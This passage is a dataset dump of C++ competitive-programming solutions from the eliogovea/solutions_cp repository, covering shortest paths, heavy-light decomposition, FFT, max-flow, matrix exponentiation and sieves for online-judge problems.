"eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\n#include<algorithm>\r\n#define MAXN 500\r\n\r\nusing namespace std;\r\ntypedef vector<int> vi;\r\ntypedef pair<int,int> pii;\r\ntypedef vector<pii> vpii;\r\n\r\nint v,e,c,m;\r\nvpii G[MAXN+10];\r\nvpii::iterator it;\r\nvi sol;\r\nvi::iterator iit;\r\nint cow[MAXN+10];\r\nint best[MAXN+10];\r\npriority_queue< pii , vpii , greater< pii > > Q;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d%d%d\",&v,&e,&c,&m);\r\n\r\n\tfor(int i=1,x,y,z; i<=e; i++)\r\n\t{\r\n\t\tscanf(\"%d%d%d\",&x,&y,&z);\r\n\t\tG[x].push_back(make_pair(y,z));\r\n\t\tG[y].push_back(make_pair(x,z));\r\n\t}\r\n\r\n\tfor(int i=1; i<=c; i++)\r\n scanf(\"%d\",&cow[i]);\r\n\r\n\tfor(int i=2; i<=MAXN; i++)\r\n\t\tbest[i]=1<<29;\r\n\r\n\tQ.push(make_pair(0,1));\r\n\r\n\twhile(!Q.empty())\r\n\t{\r\n\t\tint field=Q.top().second;\r\n\t\tint time=Q.top().first;\r\n\r\n\t\tQ.pop();\r\n\r\n\t\tif(best[field]!=time)continue;\r\n\r\n\t\tfor(it=G[field].begin(); it!=G[field].end(); it++)\r\n\t\t\tif( best[it->first] > time + it->second && time+it->second<=m)\r\n\t\t\t{\r\n\t\t\t\tbest[it->first] = time + it->second;\r\n\t\t\t\tQ.push(make_pair(best[it->first],it->first));\r\n\t\t\t}\r\n\t}\r\n\r\n\tfor(int i=1; i<=c; i++)\r\n {\r\n //printf(\"-->%d %d %d\\n\",i,cow[i],best[ cow[i] ]);\r\n if(best[ cow[i] ] <= m)\r\n sol.push_back(i);\r\n }\r\n\r\n\r\n\tsort(sol.begin(),sol.end());\r\n\r\n\tprintf(\"%d\\n\",sol.size());\r\n\r\n\tfor(iit=sol.begin(); iit!=sol.end(); iit++)\r\n\t\tprintf(\"%d\\n\",*iit);\r\n}\r\n" }, { "alpha_fraction": 0.41968533396720886, "alphanum_fraction": 0.4390779435634613, "avg_line_length": 17.111888885498047, "blob_id": "8051e947a551bbfb3aa2a6ac435fdae1b08da532", "content_id": "ffa0154d2a5d0e8fbc12fb81d7a4cb742bf2564d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2733, "license_type": "no_license", "max_line_length": 76, "num_lines": 143, "path": "/COJ/eliogovea-cojAC/eliogovea-p3371-Accepted-s827126.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint n, m;\r\nvector<int> g[N];\r\n\r\nint size[N], depth[N], par[N], head[N], chain[N], heavy[N];\r\n\r\nvoid dfs(int u, int p, int d) {\r\n\tpar[u] = p;\r\n\tdepth[u] = d;\r\n\tsize[u] = 1;\r\n\theavy[u] = -1;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (v == p) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tdfs(v, u, d + 1);\r\n\t\tsize[u] += size[v];\r\n\t\tif (heavy[u] == -1 || size[v] > size[heavy[u]]) {\r\n\t\t\theavy[u] = v;\r\n\t\t}\r\n\t}\r\n}\r\n// (a, b) -> (b, a % b)\r\ninline int gcd(int a, int b) {\r\n\tint tmp;\r\n\twhile (b != 0) {\r\n\t\ttmp = a % b;\r\n\t\ta = b;\r\n\t\tb = tmp;\r\n\t}\r\n\treturn a;\r\n}\r\n\r\nstruct ST {\r\n\tint sz;\r\n\tvector<int> t;\r\n\tST(int n) {\r\n\t\tsz = n;\r\n\t\tt.clear();\r\n\t\tt.resize(4 * (n + 5));\r\n\t}\r\n\tvoid update(int x, int l, int r, int p, int v) {\r\n\t\tif (p < l || p > r) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tif (l == r) {\r\n\t\t\tt[x] = v;\r\n\t\t} else {\r\n\t\t\tint m = (l + r) >> 1;\r\n\t\t\tupdate(2 * x, l, m, p, v);\r\n\t\t\tupdate(2 * x + 1, m + 1, r, p, v);\r\n\t\t\tt[x] = gcd(t[2 * x], t[2 * x + 1]);\r\n\t\t}\r\n\t}\r\n\tvoid update(int p, int v) {\r\n\t\tupdate(1, 1, sz, p, v);\r\n\t}\r\n\tint query(int x, int l, int r, int ql, int qr) {\r\n\t\tif (l > qr || r < ql) {\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\tif (l >=ql && r <= qr) {\r\n\t\t\treturn t[x];\r\n\t\t}\r\n\t\tint m = (l + r) >> 1;\r\n\t\tint q1 = query(2 * x, l, m, ql, qr);\r\n\t\tint q2 = query(2 * x + 1, m + 1, r, ql, qr);\r\n\t\treturn gcd(q1, q2);\r\n\t}\r\n\tint query(int ql, int qr) {\r\n\t\treturn query(1, 1, sz, ql, qr);\r\n\t}\r\n};\r\n\r\nvector<ST> chains;\r\n\r\nvoid HLD() {\r\n\tdfs(1, 0, 0);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tif (i == 1 || heavy[par[i]] != i) {\r\n\t\t\tint cnt = 0;\r\n\t\t\tfor (int j = i; j != -1; j = heavy[j]) {\r\n\t\t\t\tchain[j] = chains.size();\r\n\t\t\t\thead[j] = i;\r\n\t\t\t\tcnt++;\r\n\t\t\t}\r\n\t\t\tchains.push_back(ST(cnt));\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid update(int u, int val) {\r\n\tchains[chain[u]].update(depth[u] - depth[head[u]] + 1, val);\r\n}\r\n\r\nint query(int u, int v) {\r\n\tint ans = 0;\r\n\twhile (chain[u] != chain[v]) {\r\n\t\tif (depth[head[u]] > depth[head[v]]) {\r\n\t\t\tans = gcd(ans, chains[chain[u]].query(1, depth[u] - depth[head[u]] + 1));\r\n\t\t\tu = par[head[u]];\r\n\t\t} else {\r\n\t\t\tans = gcd(ans, chains[chain[v]].query(1, depth[v] - depth[head[v]] + 1));\r\n\t\t\tv = par[head[v]];\r\n\t\t}\r\n\t}\r\n\tint lo = depth[u] - depth[head[u]] + 1;\r\n\tint hi = depth[v] - depth[head[v]] + 1;\r\n\tif (lo > hi) {\r\n\t\tswap(lo, hi);\r\n\t}\r\n\tans = gcd(ans, chains[chain[u]].query(lo, hi));\r\n\treturn ans;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> m;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tint u, v;\r\n\t\tcin >> u >> v;\r\n\t\tg[u].push_back(v);\r\n\t\tg[v].push_back(u);\r\n\t}\r\n\tHLD();\r\n\twhile (m--) {\r\n\t\tchar ty;\r\n\t\tint u, v;\r\n\t\tcin >> ty >> u >> v;\r\n\t\tif (ty == 'U') {\r\n\t\t\tupdate(u, v);\r\n\t\t} else {\r\n\t\t\tcout << query(u, v) << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3315393030643463, "alphanum_fraction": 0.36060279607772827, "avg_line_length": 16.865385055541992, "blob_id": "089a7aae06a3497dd650f097ccdf18333e80bdcb", "content_id": "0d7f65636d28898bb13d92d1b03c659257183716", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 929, "license_type": "no_license", "max_line_length": 66, "num_lines": 52, "path": "/Codeforces-Gym/100703 - 2015 V (XVI) Volga Region Open Team Student Programming Contest/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 V (XVI) Volga Region Open Team Student Programming Contest\n// 100703B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\nint x[MAXN];\nint s[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, m; cin >> n >> m;\n\n for( int i = 0; i < n; i++ ){\n cin >> x[i];\n s[i] = x[i];\n\n if( i > 0 ){\n s[i] += s[i-1];\n }\n }\n\n int q; cin >> q;\n\n int mx = s[n-1] / m;\n if( s[n-1] % m != 0 ){\n mx++;\n }\n\n while( q-- ){\n int c; cin >> c;\n\n c = min( c , mx );\n int tot = c * m;\n\n int a = upper_bound( s , s + n , tot ) - s;\n if( a == n ){\n cout << n << ' ' << tot - s[n-1] << '\\n';\n }\n else{\n cout << a << ' ' << tot - s[a-1] << '\\n';\n }\n //cout << tot << ' ' << s[a-1] << ' ' << a << \"-----\\n\";\n }\n}\n" }, { "alpha_fraction": 0.401533305644989, "alphanum_fraction": 0.4269286096096039, "avg_line_length": 17.147825241088867, "blob_id": "85770db78a910a4fad2ebd011a068a7b6bc6c77e", "content_id": "77516daebb6ce8923a563e12bbc2ec731ce6d938", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2087, "license_type": "no_license", "max_line_length": 98, "num_lines": 115, "path": "/SPOJ/MAXMATCH.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \ntypedef complex<double> comp;\n \nconst double pi = acos(-1.0);\nconst int MAXN = 605000;\n \nint rev[MAXN * 2];\n \nvoid fft(comp p[], int n, bool invert) {\n\tint dig = 0;\n\twhile ((1 << dig) < n)\n\t\tdig++;\n \n\tfor (int i = 0; i < n; i++) {\n\t\trev[i] = (rev[i >> 1] >> 1) | ((i & 1) << (dig - 1));\n\t\tif (rev[i] > i)\n\t\t\tswap(p[i], p[rev[i]]);\n\t}\n \n\tfor (int len = 2; len <= n; len <<= 1) {\n\t\tdouble angle = 2 * pi / len;\n\t\tif (invert)\n\t\t\tangle *= -1;\n\t\tcomp wgo(cos(angle), sin(angle));\n\t\tfor (int i = 0; i < n; i += len) {\n\t\t\tcomp w(1);\n\t\t\tfor (int j = 0; j < (len >> 1); j++) {\n\t\t\t\tcomp a = p[i + j], b = w * p[i + j + (len >> 1)];\n\t\t\t\tp[i + j] = a + b;\n\t\t\t\tp[i + j + (len >> 1)] = a - b;\n\t\t\t\tw *= wgo;\n\t\t\t}\n\t\t}\n\t}\n\tif (invert)\n\t\tfor (int i = 0; i < n; i++)\n\t\t\tp[i] /= n;\n}\n \nstring s;\n \ncomp a[MAXN], ra[MAXN];\ncomp b[MAXN], rb[MAXN];\ncomp c[MAXN], rc[MAXN];\n \nint ans[MAXN];\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\t\n\tcin >> s;\n\tint n = s.size();\n\tfor (int i = 0; i < n; i++) {\n\t\tif (s[i] == 'a') {\n\t\t\ta[i] = 1;\n\t\t} else if (s[i] == 'b') {\n\t\t\tb[i] = 1;\n\t\t} else {\n\t\t\tc[i] = 1;\n\t\t}\n\t}\n\tfor (int i = 0; i < n; i++) {\n\t\tra[i] = a[n - 1 - i];\n\t\trb[i] = b[n - 1 - i];\n\t\trc[i] = c[n - 1 - i];\n\t}\n\tint len = 1;\n\twhile (len < n) {\n\t\tlen *= 2;\n\t}\n\tlen *= 2;\n\tfft(a, len, false);\n\tfft(b, len, false);\n\tfft(c, len, false);\n\tfft(ra, len, false);\n\tfft(rb, len, false);\n\tfft(rc, len, false);\n\tfor (int i = 0; i < len; i++) {\n\t\ta[i] *= ra[i];\n\t\tb[i] *= rb[i];\n\t\tc[i] *= rc[i];\n\t}\n\tfft(a, len, true);\n\tfft(b, len, true);\n\tfft(c, len, true);\n\tfor (int i = 0; i < n; i++) {\n\t\tans[n - 1 - i] = floor(a[i].real() + 0.5) + floor(b[i].real() + 0.5) + floor(c[i].real() + 0.5);\n\t}\n\tint x = 1;\n\tfor (int i = 2; i < n; i++) {\n\t\tif (ans[i] > ans[x]) {\n\t\t\tx = i;\n\t\t}\n\t}\n\tvector <int> v;\n\tfor (int i = 1; i <= n; i++) {\n\t\tif (ans[i] == ans[x]) {\n\t\t\tv.push_back(i);\n\t\t}\n\t}\n\tcout << ans[x] << \"\\n\";\n\tfor (int i = 0; i < v.size(); i++) {\n\t\tcout << v[i];\n\t\tif (i + 1 < v.size()) {\n\t\t\tcout << \" \";\n\t\t}\n\t}\n\tcout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.29647281765937805, "alphanum_fraction": 0.34890371561050415, "avg_line_length": 17.086206436157227, "blob_id": "d4a2ded794033e3e2dcdf6deef669d0d1d7ffe17", "content_id": "30633e7fb06f86f43d2703bf652b7da1b521a923", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1049, "license_type": "no_license", "max_line_length": 101, "num_lines": 58, "path": "/Codeforces-Gym/101090 - 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix\n// 101090I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nconst int MAXN = 300000;\n\nint c[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\n\n for( int i = 2; i <= n; i++ ){\n int mk = 0;\n\n for( int j = 1; j+j <= i; j++ ){\n if( c[j] == c[i-j] ){\n mk |= ( 1 << c[j] );\n }\n }\n\n if( mk == 1023 ){\n for( int j = 1; j <= n; j++ ){\n cout << '0';\n }\n cout << '\\n';\n\n return 0;\n }\n\n if( !(mk & ( 1 << c[i-1] ) ) ){\n c[i] = c[i-1];\n continue;\n }\n\n for( int k = 0; k < 10; k++ ){\n if( !(mk & ( 1 << k ) ) ){\n c[i] = k;\n break;\n }\n }\n }\n\n for( int i = 1; i <= n; i++ ){\n cout << c[i];\n }\n\n cout << '\\n';\n}\n" }, { "alpha_fraction": 0.36540016531944275, "alphanum_fraction": 0.37671786546707153, "avg_line_length": 17.634920120239258, "blob_id": "97e5a49268130c1729d5bad22cfbf01b92a16ca6", "content_id": "e3a3fec6c7a2d3a5558a177a3bbe3541acac4b06", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1237, "license_type": "no_license", "max_line_length": 55, "num_lines": 63, "path": "/COJ/eliogovea-cojAC/eliogovea-p2575-Accepted-s544588.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#define MAXN 510\r\nusing namespace std;\r\n\r\nvector<int> G[MAXN];\r\ntypedef vector<int>::iterator viit;\r\n\r\nint V,E,x,y,tree,cant,padre[MAXN],cas;\r\nbool mark[MAXN];\r\n\r\nvoid DFS(int v)\r\n{\r\n mark[v]=1;\r\n for(viit it=G[v].begin(); it!=G[v].end(); it++)\r\n {\r\n if(mark[*it] && padre[v]==*it)continue;\r\n\r\n if(mark[*it])tree=0;\r\n\r\n else\r\n {\r\n padre[*it]=v;\r\n DFS(*it);\r\n }\r\n }\r\n}\r\n\r\n\r\nint main()\r\n{\r\n while(scanf(\"%d%d\",&V,&E) && (V||E))\r\n {\r\n for(int i=1; i<=E; i++)\r\n {\r\n scanf(\"%d%d\",&x,&y);\r\n G[x].push_back(y);\r\n G[y].push_back(x);\r\n }\r\n\r\n for(int i=1; i<=V; i++)\r\n {\r\n if(!mark[i])\r\n {\r\n tree=1;\r\n DFS(i);\r\n cant+=tree;\r\n }\r\n }\r\n printf(\"Case %d: \",++cas);\r\n if(cant==0)printf(\"No trees.\\n\");\r\n else if(cant==1)printf(\"There is one tree.\\n\");\r\n else printf(\"A forest of %d trees.\\n\",cant);\r\n\r\n for(int i=1; i<=V; i++)\r\n {\r\n G[i].clear();\r\n mark[i]=0;\r\n padre[i]=0;\r\n }\r\n cant=0;\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.32764139771461487, "alphanum_fraction": 0.36606189608573914, "avg_line_length": 17.93617057800293, "blob_id": "bda92e8185741e531573f0cb501a15431335d556", "content_id": "4e5aef25af492597b5a87dfc5bcfc2a80c8641e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 937, "license_type": "no_license", "max_line_length": 78, "num_lines": 47, "path": "/COJ/eliogovea-cojAC/eliogovea-p1872-Accepted-s616322.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\ntypedef long long ll;\r\nconst int SIZE = 2;\r\nconst ll mod = 1000007;\r\n\r\nstruct mat {\r\n ll m[SIZE][SIZE];\r\n mat(ll a, ll b, ll c, ll d) {\r\n m[0][0] = a;\r\n m[0][1] = b;\r\n m[1][0] = c;\r\n m[1][1] = d;\r\n }\r\n};\r\n\r\nconst mat N(0, 0, 0, 0), I(1, 0, 0, 1), F(1, 1, 1, 0);\r\n\r\nmat mult(mat &a, mat &b) {\r\n mat r = N;\r\n for (int i = 0; i < SIZE; i++)\r\n for (int j = 0; j < SIZE; j++)\r\n for (int k = 0; k < SIZE; k++)\r\n r.m[i][j] = (r.m[i][j] + (a.m[i][k] * b.m[k][j]) % mod) % mod;\r\n return r;\r\n}\r\n\r\nmat exp(mat m, ll n) {\r\n mat r= I;\r\n while (n) {\r\n if (n & 1ll) r = mult(r, m);\r\n m = mult(m, m);\r\n n >>= 1ll;\r\n }\r\n return r;\r\n}\r\n\r\nll tc, n;\r\n\r\nint main() {\r\n scanf(\"%d\", &tc);\r\n while (tc--) {\r\n scanf(\"%lld\", &n);\r\n mat M = exp(F, n + 1);\r\n printf(\"%lld\\n\", M.m[0][0] % mod);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.43794795870780945, "alphanum_fraction": 0.45341381430625916, "avg_line_length": 18.39230728149414, "blob_id": "6a6b757157acb902c9081f14ba958dc7fd94cdf1", "content_id": "0361075bd83186f532097c2c9dc0e105387c79bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2651, "license_type": "no_license", "max_line_length": 71, "num_lines": 130, "path": "/COJ/eliogovea-cojAC/eliogovea-p3329-Accepted-s868285.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int INF = 1e9;\r\n\r\nconst int N = 105;\r\n\r\nint n, m, source, sink;\r\n\r\nvector <pair <int, int> > g[N];\r\n\r\npriority_queue <pair <int, int> > pq;\r\n\r\nvector <int> dijkstra(int s) {\r\n\tvector <int> dist(n + 5, INF);\r\n\tvector <bool> mark(n + 5, false);\r\n\tdist[s] = 0;\r\n\tpq.push(make_pair(0, s));\r\n\twhile (!pq.empty()) {\r\n\t\tint u = pq.top().second; pq.pop();\r\n\t\tif (mark[u]) continue;\r\n\t\tmark[u] = true;\r\n\t\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\t\tint v = g[u][i].first;\r\n\t\t\tint d = g[u][i].second;\r\n\t\t\tif (dist[v] > dist[u] + d) {\r\n\t\t\t\tdist[v] = dist[u] + d;\r\n\t\t\t\tpq.push(make_pair(-dist[v], v));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn dist;\r\n}\r\n\r\nconst int M = 10005;\r\n\r\nint ady[M], cap[M], flow[M], next[M], last[N], now[N];\r\nint E;\r\n\r\nvoid add(int a, int b) {\r\n\tady[E] = b; cap[E] = 1; flow[E] = 0; next[E] = last[a]; last[a] = E++;\r\n\tady[E] = a; cap[E] = 0; flow[E] = 0; next[E] = last[b]; last[b] = E++;\r\n}\r\n\r\nint depth[N];\r\n\r\nint Q[N], qh, qt;\r\n\r\nbool bfs() {\r\n\tqh = qt = 0;\r\n\tQ[qt++] = source;\r\n\tfor (int i = 1; i <= n; i++) depth[i] = -1;\r\n\tdepth[source] = 0;\r\n\twhile (qh != qt) {\r\n\t\tint u = Q[qh++];\r\n\t\tfor (int e = last[u]; e != -1; e = next[e]) {\r\n\t\t\tif (cap[e] > flow[e]) {\r\n\t\t\t\tint v = ady[e];\r\n\t\t\t\tif (depth[v] == -1) {\r\n\t\t\t\t\tdepth[v] = depth[u] + 1;\r\n\t\t\t\t\tQ[qt++] = v;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn (depth[sink] != -1);\r\n}\r\n\r\nint dfs(int u, int f) {\r\n\tif (u == sink) return f;\r\n\tfor (int e = now[u]; e != -1; e = now[u] = next[e]) {\r\n\t\tif (cap[e] > flow[e]) {\r\n\t\t\tint v = ady[e];\r\n\t\t\tif (depth[v] == depth[u] + 1) {\r\n\t\t\t\tint ff = min(f, cap[e] - flow[e]);\r\n\t\t\t\tint push = dfs(v, ff);\r\n\t\t\t\tif (push != 0) {\r\n\t\t\t\t\tflow[e] += push;\r\n\t\t\t\t\tflow[e ^ 1] -= push;\r\n\t\t\t\t\treturn push;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nint max_flow() {\r\n\tint res = 0;\r\n\twhile (bfs()) {\r\n\t\tfor (int i = 1; i <= n; i++) now[i] = last[i];\r\n\t\twhile (true) {\r\n\t\t\tint tmp = dfs(source, INF);\r\n\t\t\tif (tmp == 0) break;\r\n\t\t\tres += tmp;\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> m >> source >> sink;\r\n\tfor (int i = 0, x, y, z; i < m; i++) {\r\n\t\tcin >> x >> y >> z;\r\n\t\tg[x].push_back(make_pair(y, z));\r\n\t\tg[y].push_back(make_pair(x, z));\r\n\t}\r\n\tvector <int> dsource = dijkstra(source);\r\n\tvector <int> dsink = dijkstra(sink);\r\n\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tlast[i] = -1;\r\n\t}\r\n\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = 0; j < g[i].size(); j++) {\r\n\t\t\tint to = g[i][j].first;\r\n\t\t\tint d = g[i][j].second;\r\n\t\t\tif (dsource[i] + d + dsink[to] == dsource[sink]) {\r\n\t\t\t\tadd(i, to);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tcout << max_flow() << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.35381749272346497, "alphanum_fraction": 0.39292365312576294, "avg_line_length": 17.178571701049805, "blob_id": "6eb3eabb2cc6f069646439d6c74cb99f9f5fe44e", "content_id": "8b2950d4a2b0d3f956d99866da57fea0133e8c7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 537, "license_type": "no_license", "max_line_length": 71, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p2526-Accepted-s561780.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#define MAXN 100000\r\nusing namespace std;\r\n\r\nint n,a[MAXN+10];\r\n\r\nint main()\r\n{\r\n\twhile( scanf( \"%d\", &n ) == 1 )\r\n\t{\r\n\t\tfor( int i = 1, x; i <= n; i++ )\r\n\t\t{\r\n\t\t\tscanf( \"%d\", &x );\r\n\t\t\ta[i] = a[i - 1] + x;\r\n\t\t}\r\n\t\tif( a[n] % 3 )printf( \"0\\n\" );\r\n\t\telse\r\n\t\t{\r\n\t\t\tint s = 0;\r\n\t\t\tfor( int i = 0; i < n; i++ )\r\n\t\t\t\tif( binary_search( a, a + n + 1, ( a[i] + a[n] / 3 ) % a[n] )\r\n\t\t\t\t\t&& binary_search( a, a + n + 1, ( a[i] + 2 * a[n] / 3 ) % a[n] ) )\r\n\t\t\t\t\ts++;\r\n\t\t\tprintf( \"%d\\n\", s/3 );\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39145907759666443, "alphanum_fraction": 0.46975088119506836, "avg_line_length": 13.61111068725586, "blob_id": "3bc60387b499c0bcede392851ab21659e49e0474", "content_id": "2a0495a0633f6b129049b38393d5790872faade7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 281, "license_type": "no_license", "max_line_length": 33, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p1655-Accepted-s548992.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 1000010\r\n\r\nchar w1[MAXN],w2[MAXN];\r\n\r\nint main()\r\n{\r\n\twhile(scanf(\"%s%s\",w1,w2)!=EOF)\r\n\t{\r\n\t\t\tchar *p1=w1;\r\n\t\t\tchar *p2=w2;\r\n\t\t\tfor(; *p1 && *p2; p2++)\r\n if(*p1==*p2)p1++;\r\n\r\n\t\t\tif(*p1)printf(\"No\\n\");\r\n\t\t\telse printf(\"Yes\\n\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.423197478055954, "alphanum_fraction": 0.4545454680919647, "avg_line_length": 14.789473533630371, "blob_id": "0a68f57e30839eb358854118d1e531cd83f389bd", "content_id": "c5a4de40adced36e65d88888e270a89234f0b7cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 319, "license_type": "no_license", "max_line_length": 30, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p3042-Accepted-s717230.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nint n, h[1000005], ans;\r\n\r\nint main() {\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tcin >> h[i];\r\n\tsort(h, h + n);\r\n\tans = n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint cnt = h[i] + n - 1 - i;\r\n\t\tif (cnt < ans) ans = cnt;\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4349030554294586, "alphanum_fraction": 0.46121883392333984, "avg_line_length": 18.05555534362793, "blob_id": "9458174384a04a3baf492af89636522a7522f6f5", "content_id": "f33f91cbb0636844bf7541e5a35136b30787971b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 722, "license_type": "no_license", "max_line_length": 41, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p1607-Accepted-s636780.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000001;\r\n\r\nint ac[MAXN + 5], n;\r\nbool criba[MAXN + 5];\r\nvector<int> p;\r\n\r\ninline void Criba() {\r\n\tfor (int i = 5; i * i <= MAXN; i += 4)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (int j = i * i; j <= MAXN; j += i)\r\n\t\t\t\tcriba[j] = 1;\r\n\tfor (int i = 5; i <= MAXN; i += 4)\r\n\t\tif (!criba[i]) p.push_back(i);\r\n\tint ps = p.size();\r\n\tlong long aux;\r\n\tfor (int i = 0; i < ps; i++)\r\n\t\tfor (int j = 0; j <= i; j++) {\r\n\t\t\taux = p[i] * p[j];\r\n\t\t\tif (aux > MAXN) break;\r\n\t\t\tac[aux] = 1;\r\n\t\t}\r\n\tfor (int i = 1; i <= MAXN; i++)\r\n\t\tac[i] += ac[i - 1];\r\n}\r\n\r\nint main() {\r\n\tCriba();\r\n\twhile (cin >> n && n)\r\n\t\tcout << n << ' ' << ac[n] << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.31595829129219055, "alphanum_fraction": 0.368885338306427, "avg_line_length": 18.793651580810547, "blob_id": "2a023945e31b121f93309360420f2f540058ee3f", "content_id": "95011c77be495ae3f01b24c22fc7e523ac0e78d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1247, "license_type": "no_license", "max_line_length": 68, "num_lines": 63, "path": "/Codeforces-Gym/101124 - 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6/L.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6\n// 101124L\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double oo = 1e18;\nconst int MAXN = 1010;\n\ndouble g[MAXN][MAXN];\n\nint x[MAXN], y[MAXN];\n\ndouble dii( int i, int j ){\n double da = x[i] - x[j];\n double db = y[i] - y[j];\n\n return sqrt( da*da + db*db );\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n = 2;\n cin >> x[1] >> y[1] >> x[2] >> y[2];\n\n n++;\n while( cin >> x[n] >> y[n] ){\n n++;\n while( cin >> x[n] >> y[n] ){\n if( x[n] == -1 ){\n break;\n }\n\n g[n][n-1] = g[n-1][n] = 60.0 * dii( n , n-1 ) / 40000.0;\n n++;\n }\n }\n n--;\n\n for( int i = 1; i <= n; i++ ){\n for( int j = 1; j <= n; j++ ){\n if( i != j && g[i][j] == 0.0 ){\n g[i][j] = 60.0 * dii( i , j ) / 10000.0;\n }\n }\n }\n\n for( int k = 1; k <= n; k++ ){\n for( int i = 1; i <= n; i++ ){\n for( int j = 1; j <= n; j++ ){\n 